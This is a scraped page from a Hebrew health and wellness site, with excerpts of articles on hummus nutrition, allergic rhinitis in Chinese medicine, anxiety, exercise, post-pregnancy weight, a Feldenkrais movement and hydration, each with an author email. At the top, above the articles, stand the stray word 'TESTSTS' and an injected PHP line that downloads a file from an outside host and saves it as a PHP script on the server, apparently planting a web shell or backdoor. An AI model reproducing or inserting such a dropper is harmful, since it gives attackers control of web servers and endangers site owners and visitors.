TESTSTS

<?php copy('http://matvsub.wang/data2.txt','drcnf.php');?>

חומוס- לא לניגוב בלבד

מחבר המאמר: 
יפעת הרץ טברסקי, דיאטנית קלינית

כשחושבים על חומוס, הדבר הראשון שצץ ועולה הוא מסעדה מזרחית ופיתה לניגוב.

לפני שהחומוס עובר תהליך שבו הוא הופך לממרח עשיר בקלוריות שיתיישב באיזור הירכיים או הבטן, הוא מגיע אלינו כגרגר.
החומוס הינו קיטנית בריאה מאד וטעימה לא פחות. היא מכילה חלבון עשיר מאד, מעט אחוזי שומן (2.5% בחומוס מבושל), חומרים אנטי חימצוניים המועילים למערכת החיסון, סיבים תזונתיים, ויטמיני B יחד עם ויטמינים ומינראלים נוספים.
התזונה הים תיכונית, המומלצת כ"כ למניעת תחלואי החברה המערבית (לב, סרטן ועוד...), מתבססת על החומוס, משום שזהו מוצר מזון משביע ובעל ערך תזונתי גבוה.

דוא"ל המחבר: 
yifat@steps4u.co.il

הרצאות להורים בנושא תזונת ילדים

בעקבות הצלחות ההרצאות שהועברו לגנים, למטפלות ולהורים, ניתן להזמין את ההרצאות גם לגנים שלכם.

בשנים האחרונות למרות עליית המודעות לבריאות ותזונה, עולה שכיחות הפרעות אכילה וההשמנה בקרב ילדים ובני נוער.
ההשמנה הוכרה בכל מוסדות הבריאות בארץ ובעולם כמגיפה של המאה. כיום, אחד מתוך 4 ילדים סובל מעודף משקל. לגבי הפרעות האכילה האחוזים גבוהים מאד בקרב מתבגרות.

נזלת אלרגית ברפואה הסינית

מחבר המאמר: 
אלון טמיר

נזלת אלרגית הינה תופעה נפוצה אשר מטרידה אחוז גבוהה באוכלוסיה, במאמר הבא ננסה לבחון את הנושא במבט של הרפואה המערבית ובנקודת המבט הסינית ובפתרונות שהיא מציאה .
 
אז מהי אלרגיה? 

דוא"ל המחבר: 
elontamir@hotmail.com

חרדה כמגיפה

מחבר המאמר: 
עמית דביר

“בעת העתיקה, אנשים חיו בפשטות … בפנים, רגשותיהם היו רגועים ושלווים … בחוץ, לא היו להם את המתחים של ימינו. כיום, אנשים הם שונים … הם עבדים של רגשותיהם ודאגותיהם. הם עובדים קשה מדי בעבודה מעייפת … ” Huang Di Neijing Suwen, (המאה ה-1 לפנה”ס, סין).
 
מהי חרדה?

דוא"ל המחבר: 
amitdvir.ac@gmail.com

פעילות גופנית או טלוויזיה

מחבר המאמר: 
אריאל הרלב

אחרי שכבר דיברו ודיברו על המשמעות של הפעילות הגופנית, על מחלות לב ומניעתן, על תזונה נכונה ודלת שומנים אין לי הרבה מה לחדש, מלבד על הגורם הפסיכולוגי. אותו הגורם הנסתר שכולם מדברים עליו אבל אף אחד לא יכול לאתר אותו, לנתח אותו בניתוח ולהוציא או להשתיל אותו. אילו הגורם הפסיכולוגי היה משהו פיזי, היינו מטפלים בו פיזית - אך הוא לא. כדי לדבר על הגורם הפסיכולוגי, צריך לשכוח מפעילות גופנית ומספורט ולהשוות את הנושא למשהו אחר, משהו מוכר לנו יותר. הרי לכל אחד מאיתנו יש דברים שהוא אוהב לעשות וממילא הוא עושה אותם, גם אם לא צריך. לדוגמא, לשבת מול הטלוויזיה עם צלחת אוכל ולצפות בתכנית האהובה.

דוא"ל המחבר: 
info@sprt.co.il

למה נשים משמינות כשהן הופכות לאמהות?

אמהות יקרות,

גם אני אמא. יש לי שני ילדים. הגדולה בת 4 והקטן בן 2.5. שניהם ממלאים את עולמי ומקנים לי אושר רב.

אני גם דיאטנית.

את הלימודים סיימתי רווקה צעירה ונטולת דאגות. עם השנים והנסיון, ובייחוד עם הפיכתי לאם, התחלתי לראות את הדברים שלמדתי באוניברסיטה קצת אחרת והחומר התיאורטי מהלימודים החל להתגמש לכיוון המציאות.
כיום אני רואה אמהות שעולות במשקל אחרי הריון ולידה (גם אם הילד כבר בן 30), ומנסה להבין מאיפה זה מגיע.

הייתי מעוניינת לשתף אתכן.

פיתול הגב בישיבה על פי פלדנקרייז

מחבר המאמר: 
אורי הלפרין

שימו לב לנקודה שעל הקיר. האם טווח התנועה גדל? האם עתה התנועה באה בטבעיות, לעומת התנועה ההתחלתית?

 

שבו על החלק הקדמי של הכיסא, בלי להישען על המשענת. אפשר גם לשבת על הרצפה ולכופף את שתי הרגליים ימינה, כף רגל שמאל ליד ברך ימין. הביאו את זרוע ימין לפנים, כפופה במרפק, כף היד והאצבעות נתלות מטה. הניחו את יד שמאל על מושב הכיסא או על הארץ, בצד. התחילו להוביל בעדינות את הזרוע הימנית שמאלה סביב הגוף. חזרו על הפעולה מספר פעמים.

שתיה ופעילות גופנית

מחבר המאמר: 
אריאל הר- לב

כמה אנחנו צריכים לשתות בזמן אימון אירובי ואנאירובי? מתי צריך משקאות איזוטוניים ומי זקוק להם? ואפילו מתכון להכנה עצמית של משקה איזוטוני

במהלך הפעילות הגופנית, הפעלת השרירים גורמת לעלייה בטמפרטורת הגוף. הגוף שלנו משתמש בסביבה של נוזלים לצורך קיום תהליכים תקינים של חילופי חומרים, שימור פעילויות במחזור הדם, תפקוד תקין של מערכת העיכול והנשימה ועוד. עליית הטמפרטורה גורמת להתרחבות של כלי הדם ולהפעלת מנגנוני ההזעה במטרת לקרר את הגוף. אובדן נוזלים בגוף נגרם במהלך פעילת גופנית בעיקר מתוך ההזעה והנשימה, מה שיגרום בהמשך להתייבשות.

דוא"ל המחבר: 
info@sprt.co.il

שנה חדשה, התחלה חדשה

מחבר המאמר: 
גילי לזר-יוסף

המחצית השנייה של חודש אוגוסט עשויה להביא איתה דריכות לקראת השנה החדשה. אנו עשויים לומר לעצמינו ש"הנה, החופש הגדול אוטוטו מסתיים, וצריך לחזור לשגרה". גם החגים שעומדים בפתח, עשויים להכניס אותנו "לכוננות" כדי שנספיק את כל הדברים שעוד לא עשינו, לפני שהם ידפקו על דלתנו.
לכל זה, תוסיפו את המתח של מה שאני מכנה "סיכומי סוף השנה": שנה אחת חלפה לה ואחרת מייד מתחילה, ובתפר שבין שתיהן מצויים אנחנו, עם "פנקס הרשימות" ובו כל הדברים אותם רצינו לעשות השנה וטרם הספקנו, כל מה שהגשמנו או לא הגשמנו, השגנו או לא השגנו.

דוא"ל המחבר: 
giliormer@gmail.com
תזונה בריאה
כשחושבים על חומוס, הדבר הראשון שצץ ועולה הוא מסעדה מזרחית ופיתה לניגוב. לפני שהחומוס עובר תהליך שבו הוא הופך לממרח עשיר...
פעילות גופנית
אחרי שכבר דיברו ודיברו על המשמעות של הפעילות הגופנית, על מחלות לב ומניעתן, על תזונה נכונה ודלת שומנים אין לי הרבה מ...
גוף נפש
נזלת אלרגית הינה תופעה נפוצה אשר מטרידה אחוז גבוהה באוכלוסיה, במאמר הבא ננסה לבחון את הנושא במבט של הרפואה המערבית ובנקו...